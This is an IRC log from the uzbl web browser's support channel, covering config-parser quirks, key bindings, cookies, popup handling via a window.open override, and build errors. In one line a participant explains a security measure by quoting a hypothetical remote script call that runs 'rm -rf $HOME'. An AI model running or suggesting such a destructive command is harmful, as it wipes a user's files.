22:06 < mjf> bct: and $XDG_DATA_HOME is properly set and the script exists (although it does not solve the issue)
22:06 < mjf> bct: http://vger.cz/setup/uzbl/config <- my config file
22:08 < mjf> Also the 'j' binding does not work at all (dunno why, it's the same as in all the other configs I have seen)
22:08 < bct> hmm, maybe it's not a cookies issue.
22:09 < bct> because that script shares cookies across instances of uzbl.
22:10 < mjf> Ok. to enter the website you need to login (stored in cookie). Some actions causes JS popup windows (you select something in them etc. and they close and the originating page gets updated). Now it looks like that the original cookie is not shared across the instances of uzbl.
22:11 < mjf> Strange. I will double check my configuration again...
22:11 < mjf> Any idea why 'j' binding does not do anything?
22:12 < mjf> The 'k' binding works, the 'j' does not -> wtf?
22:13 < mjf> (I did not tested the 'h' vs. 'l' yet because I did not reached nothing so wide since I set it up ;)
22:13 < bct> are you using tabs for alignment?
22:13 < mjf> no
22:13 < bct> the ' = ' needs to be <space>=<space>, other things won't work.
22:13 < mjf> spaces
22:13 < bct> i've got no idea then, sorry.
22:14 < mjf> "tabs does not work" <- that simply should be fixed, it's weird
22:16 < mjf> I would suggest to fix that and for tab to be binded people should type write \t in the config or something like that if that's the reason of why tabs are not working.
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22:19 < mjf> I checked the config file and there are no tabs at all now. The 'j' still does not work.
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22:21 < errno> anyone else having trouble with libwebkit-newest and/or libsoup-newest and uzbl?
22:22 < scj> mjf: does the l binding work?
22:22 < mjf> Aha! Now I found out that 'l' does not work as well!
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22:22 < mjf> (I created testing html page for it)
22:22 < bct> i suspect it's the extra space you have before the 20
22:22 < bct> which also should be fixed :)
22:23 < mjf> wtf?
22:23 < mjf> ok, the project is starting :)
22:23 < bct> does that fix it?
22:24 < mjf> I will tell you, give me a second...
22:24 < bct> if so then i'm surprised nobody ran into that before
22:24 < mjf> yes
22:25 < mjf> extra space was causing it
22:25 < scj> I called it \o/
22:25 < mjf> me too, I am pretty surprised too
22:27 < mjf> btw, the parser of config seems now to me very buggy and the config syntax ill-designed if it is MUST be <space>=<space> and NO <tab>s ;) It's not critique, it's young project, I just stress that it should be fixed and I am surprised while the syntax of the config seems easy to parse (even with all those @..@ and \@.. things etc).
22:29 < mjf> btw, it's nice that +20 works too, I must say, so at least parsing of integers works. :-)
22:29 < bct> it wouldn't be hard to fix, it just hasn't been a priority.
22:30 < mjf> I solved the issue with cookies but the popups in the website I needed it for are still broken. Instead of the popup content the same page gets opened. :(((
22:31 < mjf> Seems like a bug to me.
22:32 < mjf> Bad thing is that I simply can not give you access to the website to see and try. :( It's our company intranet system. :(
22:32 < scj> mjf: have you tried it with midori?
22:33 < scj> or some other webkit browser
22:33 < mjf> I hope the description of the problem will give you some hint of what is happening: Instead of popup window content I see the original page which the popup popped up from.
22:34 < mjf> scj: No. I did not. Perhaps I will find some time to do so later (if it is so easily to be installed under my debian/lenny as the uzbl was).
22:34 < scj> popups is a can of worms, unfortunately
22:34 < bct> can you tell what URL is being requested and what URL is supposed to be requested?
22:35 < mjf> The originating url: $XDG_DATA_HOME/uzbl/scripts/cookies.py
22:35 < mjf> hell
22:35 < mjf> !
22:35 < mjf> damned pasting
22:36 < mjf> Hm, I will fire up my conkeror for this task, sorry ;)
22:38 < mjf> bct: The originating page and the href that causes popup have the same URL (the popupping href must have some heavy javascript around, I will try to find it for you)
22:39 < bct> that's weird.
22:40 < mjf> bct: how do I open source code of page? is it possible in uzbl?
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22:40 < bct> right-click -> inspect element
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22:40 < mjf> bct: thanks
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22:45 < mjf> here it is:
22:46 < mjf> <a href="#" onclick="javascript:window.open('/_rfi/cf-customer-search.rb?id=40961','custsearch',width=500,height=300,scrollbars=yes');">-Change-</a>
22:47 < mjf> If I click it I get the originating page, not the popup. In mozilla OK.
22:47 < bct> so the uzbl popup that opens, it's not opening with the url /_rfi/cf-customer-search-etc...
22:47 < bct> ?
22:47 < mjf> it seems so.
22:48 < mjf> I get the original page in the new uzbl instance that opens.
22:48 < mjf> Makes some sense to you?
22:48 < bct> you see the original page, and the URL shown in the status bar is the URL of the original page too?
22:48 < mjf> the same
22:49 < mjf> yes
22:49 < bct> ok.
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22:49 < mjf> oh, no
22:49 < mjf> the new one has # in the end
22:49 < mjf> the rest is same
22:49 < bct> sounds like it will be easy to reproduce on a simple test page
22:49 < bct> oh.
22:49 < mjf> like the original one http://foo and the popup http://foo#
22:50 < mjf> you see?
22:50 < bct> aaah. sounds like it's picking up the href instead of the window.open
22:50 < mjf> yeah
22:50 < mjf> very likely
22:50 < mjf> (I am very tired today, so beg my pardon, I can hardly keep my eyes opened).
22:51 < scj> web devs relying on window.open should be fired
22:51 < mjf> ?
22:52 < mjf> I do not understand what you have just said.
22:52 < scj> making a site that relies heavily on popups is just a bad idea in 2009
22:52 < mjf> Ok. It's Request Tracker with some heavy improvements done by my company to integrate with our other systems.
22:53 < mjf> (Btw, I agree with what you said about popups),
22:53 < mjf> (But I have no choice in this case and so does many people on many different weird pages).
22:53 < mjf> s/does/do/
22:54 < mjf> Can that be fixed? I was so keen I will use uzbl at work and I can not. :(
22:54  * mjf is very sad now\
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22:55 < scj> I guess you could redefine window.open to use Uzbl.run
22:55 < mjf> eh?
22:55 < mjf> hm.
22:56 < mjf> I could if I knew to do so.
22:56 < mjf> Perhaps it is some thing to the wiki too.
22:57 < henn1nk> hello guys. is there a way to open clicked links in the same uzbl-session?
22:57 < mjf> And also there should be written some warning about the extra spaces.
22:58 < mjf> scj: btw, the cookies persist even over the total uzbl restart, that's not very good. How do you cope with that? I do not want to stay permanently logged in. ;)
22:58 < scj> mjf: running js window.open = function (url,stuff){Uzbl.run("spawn uzbl " + document.domain + url)}
22:58 < mjf> scj: in the config file
22:58 < mjf> scj: ?
22:59 < scj> mjf: you could use load_commit_handler to run that js code on specific urls
23:00 < bct> cookies.py doesn't support session cookies if i remember correctly.
23:00 < bct> the cookie daemon might.
23:00 < mjf> bct: ok
23:01 < mjf> scj: (url,stuff) <- the 'stuff' is not used in your function's body, is it ok?
23:02 < scj> mjf: not sure, you may need to add more arguments, but js should be pretty lax
23:02 < mjf> scj: heh
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23:04 < mjf> scj: I put the 'js window.open = ...' to the beginning of the config and it does not work
23:05 < scj> mjf: start out by giving it a binding
23:05 < mjf> scj: ok
23:05 < mjf> scj: like bind hack = js window.open ... ?
23:06 < scj> mjf: exactly
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23:08 < mjf> scj: well, the definition gets printed to the stdout when I press 'hack', that seems ok, the function is loaded. But I get 'Cant find variable Uzbl' error message when trying to click the href now.
23:09 < mjf> console message: undefined @1: ReferenceError: Can't find variable: Uzbl
23:09 < scj> oh yeah, it gets removed
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23:09 < mjf> ?
23:10 < Dr-Horrible> DuClare: can I have a look at your xmonad.hs, it isn't on github....
23:11 < scj> mjf: for security reasons, the Uzbl object is removed so remote scripts can't call "Uzbl.run('sh rm -rf $HOME')"
23:11 < mjf> scj: good idea, but what to do with it?
23:13 < mjf> scj: hehe, you know what's funny? dunno why but the damned href works in elinks ;)
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23:14 < mjf> scj: aha, elinks has some js support too, nice :)
23:16 < scj> mjf: try something like js window.open = (function (){var run = Uzbl.run; return function (url,stuff){run("spawn uzbl "+document.domain+url);}})();
23:17 < mjf> scj: black magic? :-D
23:18 < scj> mjf: almost. closure magic
23:19 < scj> but I may have missed some closing brackets or parens, since I'm coding in a irc window and I'm tired
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23:19 < mjf> I got
23:20 < mjf> Problem occurred while loading the URL http:/home/mjf/home/usr/local/share/uzbl/examples/config/uzbl/config
23:20 < mjf> that's weird
23:20 < mjf> I got that while following the popup href
23:20 < mjf> as the uzbl error webpage
23:21 < mjf> (the /home/mjf/... is correct path to the config)
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23:23 < mjf> scj: fixed, the must be "uzbl -u "+document ...
23:24 < mjf> scj: it started to do something now, let me test it a little...
23:24 < scj> probably :v
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23:26 < mjf> scj: ok, that works
23:27 < scj> mjf: great!
23:29 < mjf> scj: but the rest of the JS inside the popup now, there is another href that does onclick="sendback(40961,2537,"something",... etc.
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23:29 < mjf> scj: it is supposed to do something and close the original window, heh, I think uzbl will definitelly need to cope with popups somehow, many pages still use popups and we will never get this fixed to work as expected.
23:30 < mjf> scj: for this single case, can the sendback function be also fixed somehow?
23:31 < scj> mjf: sure, if you can figure out what the sendback function does and how to reimplement it to work with uzbl
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23:31 < scj> mjf: sounds like a lot of work though
23:31 < mjf> scj: hm, will uzbl cope with popups one day?
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23:32 < scj> mjf: hopefully
23:33 < mjf> scj: the question is, of course, how. btw, the action runs OK, just the uzbl window does not close (while not implemented yet), and gets messed up (some sort of mixure of the original page and the popup content) ;)
23:34 < scj> mjf: I am pretty sure that whatever the popups are used for on that site would be better implemented by some ajax library for better cross browser support and not having to fight popup blockers
23:35 < mjf> scj: how do I make the redefinition of window.open permanent? is there some window.close? I guess I can redefine just the window.close (if any) to exit and the whole issue with our RT will be fixed.
23:36 < mjf> scj: people will not give up using popups, really. lame programmer will use them for a long, long time, IMHO
23:37 < scj> mjf: unfortunately, yes. just saying that you should try and rage some on the web dev and call him out on it
23:38 < scj> mjf: javascripts need to be reevaluated every time you change the page. you could use something like load_commit_handler to make it run the window.open redefinition depending on the url
23:38 < mjf> scj: I can not force them to make changes just because my browser does not support something that works in all common browsers (that means IE, Mozilla, Opera).
23:38 < mjf> scj: s/Mozilla/Firefox/
23:40 < mjf> scj: :( The programming is outsourced and as far as I know also very expensive. (I would not pay a penny for such work myself, really).
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23:41 < scj> mjf: here's an example perl script  you could use with load_commit_handler http://pastie.org/590422
23:41 < mjf> scj: great, I know perl
23:42 < mjf> scj: looks easy
23:43 < scj> uzbl is, once you get the hang of it :)
23:43 < mjf> scj: where do I find out whether some window.close exists or not?
23:43 < mjf> I know perl, I just do not know JS. I never needed it (I said it yesterday here too).
23:43 < mjf> I prefer LUA to JS personally, but there is no suuport for LUA in browsers yet. :(
23:44 < mjf> (I silently hope there will be one day, because JS is ill-designed but LUA is well-designed).
23:44 < mjf> (IMHO)
23:44 < scj> js sure has it's design flaws but i think it's a pretty sweet little language
23:47 < scj> mjf: you could use something like 'uzblctrl -s $socket -c 'js window.close'' to see what it returns
23:53 < mjf> scj: ok
23:53 < scj> if it's an empty string, it's undefined
23:54 < mjf> scj: btw, can I use multiline commands in config file (like: some stuff\<newline>another stuff\<newline>something<newline> - like in shell or so) ?
23:55 < scj> mjf: no and you probably never will
23:56 < scj> if it's more than one line, you should move it into a proper script and run it with spawn instead
23:57 < mjf> scj: if I managed to write better config parser that will fix all the bugs we discovered today and also will add multiline sections (I would suggest spaces/tabs at the beginning of lines in continuous block instead of trailing backslash, like in postfix config files) will you include it?
23:59 < mjf> scj: multiline will be nice for status bar definitions etc, it will make them more readable if you could divide them into the logical pieces instead of one long messy line ;)
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00:01 < scj> mjf: I have no say in what gets included, but I'm sure Dieterbe_ would appreciate an improved config parser
00:05 < mjf> scj: ok, I will try to find some time, I looking forward to write some parser for a long time :)
00:06 < rob|> i'm not sure if it's worth to support that kind of multiple lines handling
00:07 < mjf> scj: I think somebody who really know JS should write some hack to cope with at least window.open, window.close, self.close etc. function while those are heavily used (I harvested the information from google). We do not need all the shit for positioning on screen etc, it's useless. But the main functinality for the window.* etc function could be added as optional script, right?
00:09 < scj> mjf: webkitgtk has some support for popup permissions, uzbl just doesn't make use of it yet
00:09 < mjf> rob|: at least the bugs should be fixed, multiline is really not necessary, you are right, but why not? the config file style of uzbl suggest that sort of multiline support
00:10 < mjf> rob|: like this
00:10 < mjf> something
00:10 < mjf> set a = b
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00:10 < mjf> set q = x
00:10 < mjf>   y
00:10 < mjf>   z
00:10 < rob|> sure the bugs should be fixed, in fact they were fixed already when we had the original regex based parser
00:10 < rob|> i liked that approach both for easy of use and for speed
00:11 < mjf> rob|: the change would be very minor, it will have almost no impact on speed as far as I can guess
00:11 < rob|> although we somehow decided that doing it all manually is better for some reason
00:12 < mjf> the best would be to write good bnf first. to write a parser is very easy then (both using regex and manual method)
00:13 < rob|> well, i'd say just code it then we can discuss on a far better basis
00:13 < mjf> just to make clear "what the hell is going on there" and bnf is always good part of documentation
00:13 < rob|> sure, that would certainly be the option
00:13 < rob|> ^best
00:13 < mjf> :)
00:14 < scj> or just switch to an already well defined config language :v
00:14 < mjf> yeah ;)
00:15 < rob|> still such a language comes with prefined structure and grammar which we can't bend to suite our very own purposes
00:15 < mjf> for instance you can use extended ini format (that allows [sections], [secion,subsections,...], variable settings and simple function calls with arguments
00:15 < rob|> no, we had that
00:16 < mjf> and is multilined too
00:16 < mjf> ah, ok, sorry
00:16 < mjf> ;)
00:16 < mjf> I do not like it either ;)
00:16 < rob|> the idea is not to think of config files
00:16 < mjf> of course
00:16 < rob|> it's all commands with uzbl as a "live" interpreter
00:16 < mjf> I like the current config file style
00:16 < mjf> (except the bugs)
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00:17 < mjf> why not to make the config file be js file?
00:17 < scj> it's been discussed
00:17 < mjf> ok
00:17 < rob|> see above
00:18 < mjf> I must missed that (doing many things at once here, or at least trying to do)
00:19 < rob|> in fact this discussion comes up every couple of weeks, so stay tuned and you'll certainly be able to follow it once more ;)
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00:19 < mjf> Do you think uzbl will make use of the popup stuff in webkit soon?
00:19 < mjf> Config is OK, that's not (for me).
00:20 < rob|> sure, if someone decides to write it ;)
00:20 < rob|> i'm pretty busy with bread earning stuff these days :(
00:20 < scj> last I looked, it was because uzbl implements a pretty heavy handed popup blocker
00:20 < stableable> hi -- i see this tip:  http://www.uzbl.org/wiki/middle_click_links -- is there a way of modifying that to open up in a new tab?  I am using the uzbl-tabbed script which is annoying as i have to remember to launch uzbl *VIA* that script to get tabs.
00:21 < scj> where calls to window.open gets ignored unless the cursor is hovering over the called url
00:23 < rob|> stableable: i have no idea what you are asking. though, that script should just work as expected with uzbl_tabbed
00:24 < rob|> i.e. open in a new tab on middle cleick
00:24 < rob|> -e
00:24 < stableable> Oh -- OK, I read the JS and couldn't see how that was possible.
00:24 < mason-l> stableable, Just make a launcher for uzbl_tabbed.py named uzblt
00:24 < rob|> well, even in uzbl_tabbed the tabs are still separate instances of uzbl
00:25 < stableable> Hehe, i suppose that's sane.
00:25 < stableable> rob|: No worse than firefox.
00:25 < stableable> i am already using FF with vimperator which is great but the memory usage sucks of FF.
00:27 < rob|> indeed, i'm using uzbl on a laptop with 256MB of ram and 10tabs/instances are not a problem
00:38 < mjf> scj: I wrote the perl script and proved it gets run (using print $some_debug_file Dumper @ARGV; at the beginning).
00:38 < stableable> is there a way of telling uzbl NOT to resize the window each time?
00:38 < mjf> scj: unfortunatelly it does nothing. it gets run but has not the effect as the 'bind hack = ...' we tried before...
00:39 < mjf> scj: also no info about new function declaration occures on the stdout to the terminal uzbl is run from, and no errors too
00:40 < stableable> often the window is resized to something my window manager can't handle - and i'd rather *I* set the size of the window and let it not then resize
00:42 < scj> mjf: weird
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00:49 < mjf> scj: fifo is $ARGV[5] ;)
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00:50 < scj> goes to show that I can't be trusted :v
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00:50 < mjf> scj: err
00:50 < mjf> scj: sorry
00:50 < mjf> scj: the uri is 5, not the fifo, the fifo is 4 ;)
00:51 < mjf> scj: I can not be trusted too (especially after hard day working)
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00:54 < mjf> scj: aha, for some reason the fifo can not be opened for writing :(
00:54 < mjf> scj: THAT's weird ;)
00:54 < mjf> scj: simply said, it can not work because the the script can not open the pipe :(
00:55 < mjf> scj: (Data::Dumper shows me that the path is correct and the fifo exists)
00:55 < mjf> scj: any idea why the script can not write to the pipe?
00:55 < scj> mjf: are you sure it has a fifo? sometimes stale fifos can mess things up
00:56 < scj> close all instances of uzbl and clear out your fifo_dir
00:56 < mjf> I did it
00:57 < mjf> makes no diff
00:58 < scj> mjf: paste the script
00:59 < mjf> scj: ok
01:01 < mjf> scj: http://pastie.org/590515   <- I must be missing something very obvious but I can not see it.
01:02 < mjf> scj: I always get the error "Failed to open named pipe ..."
01:04 < mjf> scj: I must be blind or something. I will give it up today, I can not think at all... :(
01:05 < scj> mjf: same here, I need to get some sleep
01:06 < mjf> scj: I sleep usually 3-4 hours only (for last 5 years), so... ;)
01:07 < mjf> scj: Last few weeks I started to feel strange, I need to make my regime less stressful.
01:08 < mjf> scj: but, do you see some error in my code? me not, still nothing obvious...
01:09 < mjf> scj: btw, s/close/exit/ in the second JS declaration
01:09 < scj> mjf: I'm a bit of a perl noob and I'm not entirely familiar with the unless statement
01:09 < mjf> mjf: unless(x) == if (!x), that's all
01:10 < mjf> mjf: there was open(my $fifo, '>', $ARGV[4]) or die ... before, I was so confused that I rewrite it rather to this form, makes no diff
01:11 < mjf> scj: ^^ ;)
01:11 < stableable> is there a way of telling uzbl NOT to resize the window each time?
01:12 < scj> stableable: you could try and redefine the js functions that resizes your window
01:13 < mjf> scj: I gave it up.
01:14 < mjf> scj: I will find some script that writes something to the fifo tomorrow and see how the working scripts are written like
01:15 < scj> mjf: http://github.com/Dieterbe/uzbl/blob/35c7b6e8b5ed53f03770639cc11bd62fbf1bff26/examples/data/uzbl/scripts/formfiller.pl
01:17 < scj> anyway, I'm out. laters
01:18 < mjf> scj: I was just reading the same script
01:19 < mjf> scj: hm, I think we should append to the pipe
01:19 < mjf> scj: I will try it and let you know tomorrow
01:19 < mjf> scj: good night
01:19 < mjf> scj: and thanks a lot
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04:53 < np> anyone found an effective way of using standard non-tabbed uzbl with dwm?
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08:09 < scythe`> oh hey, just a random thought
08:09 < scythe`> it'd probably be a good idea to put the scripts collection on the front page
08:10 < scythe`> because when i first found uzbl, I didn't see any extensions for it, and i didn't realize any had been written until today, which is several months later
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10:05 < Dieterbe_> fine morning, gentlemen and ladies
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10:20 < Fatal> before trying to write a bug report, does uzbl --uri http://blog.sartek.net/2008/04/install-xmms-on-ubuntu-804-hardy-heron.html   crash for people?
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10:22 < Dieterbe_> works fine for me
10:23 < Fatal> bleh, something at my end then, getting BadAllocs
10:23 < Fatal> thanks
10:24 < Dieterbe_> maybe you're running an old version
10:24 < Dieterbe_> (i built a new experimental one yesterday)
10:24 < Fatal> tried both HEAD and origin/experimenta
10:24 < Fatal> l
10:25 < Dieterbe_> then you should elaborate on "getting BadAllocs"
10:27 < Fatal> yes, but busy at work, just needed to know it was at my end, I'll try to get some spare cycles to make a proper report later
10:28 < Dieterbe_> allright
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10:34 < Fatal> will need a few more cycles, I'm not getting any good backtraces, so hopefully during lunch I'll make sure I have debug packages installed
10:35 < scj> Fatal: x86_64?
10:35 < Fatal> scj: nope
10:35 < scj> just checking
10:36 < Fatal> (for reference, I'm in CEST, so lunch in 1.5hours :D)
10:40 < MichaelRaskin> Fatal, try updating WebKit - preferably to latest nightly
10:41 < MichaelRaskin> Or try in Midori with the same WebKit version
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10:41 < holizz> Fatal, (for reference, I'm unemployed, so lunch in ... whenever I like :D)
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10:58 < Fatal> :))
10:59 < Fatal> MichaelRaskin: ah, will do
11:00 < Fatal> sadly it worked fine in midori
11:02 < Fatal> could possibly be related to my older Xorg version aswell, can't (unsure if it's still valid) upgrade due to a serious bug in graphics with rotated displays
11:02 < Fatal> and that test takes 30-40 minutes to test and revert, :P
11:02 < Fatal> it's never easy
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11:36 < Fatal> hmm, I think I have an idea what's going on, for some reason my uzbl windows gets insanely tall and I can't resize it back to normal size
11:41 < Fatal> ah, already reported
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12:17 < alice|wl> hello, I m getting a lot of errors while triing to recompile uzbl after git pull on gentoo
12:17 < alice|wl> /usr/lib/gcc/x86_64-pc-linux-gnu/4.1.2/../../../../lib64/libwebkit-1.0.so: undefined reference to `u_strToLower_4_0'
12:17 < alice|wl> /usr/lib/gcc/x86_64-pc-linux-gnu/4.1.2/../../../../lib64/libwebkit-1.0.so: undefined reference to `u_strFoldCase_4_0'
12:17 < alice|wl> ...
12:17 < alice|wl> any idea what is missing?
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13:03 < scj> alice|wl: looks like icu
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13:33 < alice|wl> sry, icu?
13:34 < alice|wl> recompiling icu now
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13:49 < alice|wl> hmm, did not help
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13:50 < alice|wl> its amd64 system
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14:10 < alice|wl> http://pastebin.org/10851
14:11 < alice|wl> is the complete error message
14:12 < scj> you probably need to rebuild webkit after rebuilding icu
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14:17 < alice|wl> hmm, makes totaly sense ... sry for not reading.
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15:58 < pigmej> hey guys
15:59 < Dr-Horrible> Hello
15:59 < pigmej> Has anyone "sample" config for emacs like key bindings ?
15:59 < pigmej> I will compare uzbl with Conkeror...
15:59  * Dr-Horrible doesn't
16:00  * jelly12gen neither
16:00 < pigmej> is there way to bind ctrl + some_key instread of "some_key" ?
16:01 < Dr-Horrible> I believe it was ^some_key
16:01 < pigmej> and what with 'alt' key ?
16:01 < Dr-Horrible> that I don't know
16:01 < Dr-Horrible> I think you have to change the modkey
16:02 < pigmej> Dr-Horrible: I will try to modify your config ;)
16:02 < Dr-Horrible> How exciting:P
16:02 < pigmej> anything that I should know about it ?
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16:02 < Dr-Horrible> Yeah, the open function is bound to a script I made. You have to change it back
16:04 < pigmej> ok
16:04 < Dr-Horrible> line 71 has to be commented and line 90 should be uncommented, if you know what i mean:P
16:04 < nubs> :q
16:04 < nubs> oops...
16:04 < Dr-Horrible> This is no vim
16:04 < Dr-Horrible> and don't you want to save us :(
16:04 < nubs> lol
16:05 < pigmej> ;]
16:07 < pigmej> Dr-Horrible: 40 and 45 line are the same :)
16:07 < Dr-Horrible> ty
16:09 < pigmej> no problem
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16:11 < mountains> hi - using nothing but the config supplied under examples/ from the uzbl source -- uzbl keeps changing its window size when it loads different web pages -- why is this, and is there some setting I can set to turn this off?
16:14 < pigmej> Dr-Horrible: the scripts used by your config are downloadable ?
16:15 < Dr-Horrible> Yeah, or in my github or they come with uzbl
16:15 < Dr-Horrible> or they are downloadable from the wiki
16:15 < Dr-Horrible> I got them from all over the place :P
16:16 < pigmej> Ok ;]
16:16 < pigmej> hmmm
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16:22 < scj> mountains: appears that most people using uzbl got tiling wm's, so weird window resizing doesn't get noticed
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16:24 < BigBlackDog> i've seen a bugreport (FS#79) that there's (at least no obvious) no way to bind backspace and space ... is that true?
16:24 < scj> BigBlackDog: atm, unfortunately yes
16:24 < BigBlackDog> oh :(
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16:25 < BigBlackDog> why is that?
16:28 < mountains> scj: Hmm -- but that's bad then.
16:28 < scj> the current config parser reads literal strings and there's currently no way to represent spaces or backspaces
16:28 < pigmej> hmmm anyone has idea how to bind something to "alt+v" ?
16:28 < pigmej> left alt
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16:31 < mountains> i mean, just going to google and doing a search resizes the window so it scrolls off my screen and the only way i can navigate to the bottom to resize it -- ridiculous really.  :)
16:34 < Fatal> mountains: new feature in webkit 1.??.12, downgrade to .11
16:34 < BigBlackDog> scj: would it be sufficient to extend the parser so that it "knows" some magic words? like "space" and "backspace"?
16:34 < Fatal> mountains: there's a ticket about it
16:35 < mountains> oh ok
16:37 < scj> BigBlackDog: probably, but that's not really the 'right way' to do it
16:38 < pigmej> hmmm
16:39 < pigmej> ^x doesn't works ;/
16:39 < pigmej> to bind for ctrl
16:39 < mountains> Fatal: i'm using Debian Unstable and seemingly can't downgrade.
16:39 < BigBlackDog> scj: i understand - what is the right way?
16:40 < Fatal> mountains: debian.net should have older packages
16:41 < Fatal> mountains: sorry, http://snapshot.debian.net/
16:41 < scj> BigBlackDog: a way to represent keys and key combinations, sort of like vims <ctrl+f1>
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16:45 < happydawn> by the way, how do you write ^I in vim ? ctrl-v ctrl-i doesn't cut it...
16:45 < pigmej> happydawn: I use emacs ;]
16:47 < Fatal> I was under the impression that ^I _IS_ tab, but then again, I tend to be wrong
16:47 < happydawn> Fatal, exactly, so I can't write it
16:47 < Fatal> eh?
16:47 < happydawn> I want to write ^I in uzbl's config file
16:47 < happydawn> but I can't
16:47 < nubs> happydawn: I don't think you can use Ctrl-I as a binding - limitation of the system
16:48 < happydawn> I figured
16:48 < mountains> Fatal: Where is this ticket?  i've read through the uzbl bugs and didn't see anything obvious
16:48 < nubs> not all control sequences will work
16:48 < Fatal> mountains: 3rd one from top
16:48 < Fatal> oh, second one now :D
16:49 < Fatal> http://www.uzbl.org/bugs/index.php?do=details&task_id=85
16:49 < happydawn> is it a webkit bug that makes uzbl go back in history on its own after a few seconds ?
16:49 < mountains> "The guys at webkit-gtk say this is an introduced _feature_ in 1.1.12. The webkit-gtk "widget will request the size it needs to render all of the content". Consider this a bug in uzbl" -- grr, idiot
16:49 < Fatal> mountains: idiot?
16:50 < mountains> Why did they decide that to be a *feature*?
16:50 < mountains> s/idiot/&s/
16:50 < Fatal> *sigh*
16:50 < Fatal> mountains: https://bugs.webkit.org/show_bug.cgi?id=17154
16:51 < mountains> ok
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17:01 < evaryont> How do you control the page uzbl is on? (i.e. make it load 'http://www.google.com') uzblctrl, I realize, but what command?
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17:04 < evaryont> hm.
17:04 < scj> evaryont: set uri = www.google.com
17:04 < evaryont> scj: so 'uzblctrl -c "set uri = www.google.com"'?
17:05 < nubs> evaryont: you need to set the socket path as well
17:07 < evaryont> yay, thanks!
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21:12 < jelly12gen> i am a bit confused , wich/what is the best/fastest cookie handler atm
21:20 < mason-l> jelly12gen, http://www.uzbl.org/wiki/cookie_daemon.py daemons the way to go.
21:21 < mason-l> Fast enough for anything.
21:22 < jelly12gen> hmm ok
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21:49 < mjf> scj: Hello.
21:50 < mjf> scj: So I just opened the script that did not worker yesterday and I immediatelly saw why it was unable to write to the pipe.
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21:51 < mjf> scj: It should have been $ARGV[3] and not $ARGV[4] (we were both blind yesterday). But in fact the script completely brokes uzbl now. It writes to the pipe but only the first print $pipe proceeds and then the uzbl hangs for some reason... ;)
21:52 < mjf> scj: hehe :)))
21:53 < mjf> scj: it's funny, I do not see reason why it hangs :)
21:53 < mjf> btw, guys, is there a command to save/view page I am browsing?
21:54 < Dieterbe_> jhawthorn: mason-l well actually lwithers has a cookie daemon written in C. so it should outperform the python one.  but the python one works fast enough for me
21:54 < mason-l> Dieterbe_, jelly's left the building.
21:55 < mjf> I would like to do something like `bind :write = write_page <filename>' command
21:55 < mjf> And perhaps `bind :edit' to open the page in some external program...
21:56 < mjf> And I would also like to start some discussion on window.open, window.close et al.
21:56 < mjf> (again)
21:58 < mjf> (if somebody interested in the problem that occured to me)
21:59 < mjf> (I think it can be solve with properly written js script set as load_commit_handler)
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22:03 < mjf> and there is a bug: sh 'cat $1 > $4' causes segmentation fault!
22:03 < mjf> :)
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22:20 < mjf> scj: alive?
22:20 < mjf> hm, friday evening...
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00:12 < alice|wl> hey, is it possible to rebind mouse3 ?
00:12 < alice|wl> I want it to open link in a new window
00:13 < alice|wl> than I have to figure how to take session with me
00:13 < alice|wl> and is it possible to bind ctrl+key ?
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00:18 < bct> alice|wl: http://www.uzbl.org/wiki/middle_click_links
00:19 < bct> you can bind ctrl+key by putting the literal control character in your config file
00:20 < bct> in vim you can type "bind [press ctrl-V here][press ctrl-key here] whatever"
00:22 < alice|wl> kewl
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02:04 < alice|wl> hmm, doesnt seem to work
02:04 < alice|wl> bind    ^Vd     = exit
02:05 < alice|wl> is what the result of pressing ctrl-v looks like
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02:27 < alice|wl> and set load_commit_handler = script $XDG_DATA_HOME/uzbl/scripts/middle_click.js
02:27 < alice|wl> doesnt load the script
02:27 < alice|wl> I figured after putting an alert in the first line
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02:41 < alice|wl> Binding :q         : exit
02:41 < alice|wl> Binding ^Vd     = exit  :
02:41 < alice|wl> there is a suspicious colon in the log
02:48 < alice|wl> hmm, lost ...
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03:00 < scj> N30N: have you put your js keybinding script on the wiki?
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12:13 < Frots> hello anyone here?
12:14 < MichaelRaskin> Frots, hello
12:14 < jelly12gen> rawr
12:14 < Frots> I'm looking for a hook that gets  called when a page is loaded
12:14 < jelly12gen> hmm
12:14 < Frots> atm im using load_commit_handler
12:15 < Dr-Horrible> load_finish_handler i think
12:15 < Frots> but that way i cannot use that one to change the task bar
12:15 < Frots> Dr-Horrible: is it possible to use that hook for 2 things?
12:15 < Dr-Horrible> you can user chain
12:15 < Dr-Horrible> chain 'command 1' 'command 2'
12:15 < Frots> How should i use that? or is that explained at the wiki
12:16 < Frots> sounds like what i need
12:17 < Frots> ah nice
12:17 < Frots> thanks Dr-Horrible
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12:27 < lysgaard> In the standard <fl> script. The one to jump to a link by number. Would it be possible that the sequence of keys pressed, the red ones at the statusbar would be terminated even when you don't follow a link, but eg focus a textfield?
12:29 < Frots> I dont understand what you mean lysgaard
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13:17 < lysgaard> Frots: Try to go to wikipedia frontpage. Then press fl to get numberlisting on the links.
13:17 < lysgaard> Frots: Then press the number for the search field on the left.
13:17 < Dr-Horrible> I get it, but I don't think it's possible
13:18 < lysgaard> Frots: If you try to enter eg. Insert mode now, you'll see that uzbl is still intepreting the old keypresses
13:18 < Frots> lysgaard: i see
13:19 < Frots> but i fscked something up so I cant see the numbers atm
13:19 < Dr-Horrible> It sucks javascript can't execute system commands
13:19 < Frots> something with z-index i think
13:19 < scj> Dr-Horrible: you can
13:19 < lysgaard> What is really fucked is that we have to use javascript to get DOM
13:20 < Dr-Horrible> scj: How?
13:20 < scj> Dr-Horrible: bind jstest = js alert(Uzbl.run("print @useragent"))
13:20 < Frots> but lysgaard if you give an enter you can enter instert mode or do i misunderstand
13:21 < lysgaard> Frots: Yes you can, if you press enter
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13:22 < scj> lysgaard: as opposed to what?
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13:22 < lysgaard> scj: Eg <i> to enter Insert mode
13:23 < scj> lysgaard: I meant regarding js and the DOM
13:24 < lysgaard> scj: Well, correct me if I'm wrong, but i couldn't write the follow_number_links in c?
13:26 < scj> lysgaard: I believe you are correct
13:26 < Dr-Horrible> scj: Where can I find the documentation for uzbl.run?
13:26 < scj> Dr-Horrible: uzbl.org/readme.php
13:26 < Dr-Horrible> thx
13:27 < scj> be sure to read the security advisory
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13:29 < Dr-Horrible> lysgaard: is add the following line after line 141 in follow_Numers.sh(the else if(name == 'TEXTAREA* it goes to insert mode
13:30 < Dr-Horrible> Uzbl.run("toggle_insert_mode");
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13:37 < lysgaard> Dr-Horrible: Dosen't seem to work. How do i debug the script?
13:37 < Dr-Horrible> btw same goes for the if(type == 'TEXT'* above
13:37 < Dr-Horrible> It should work then
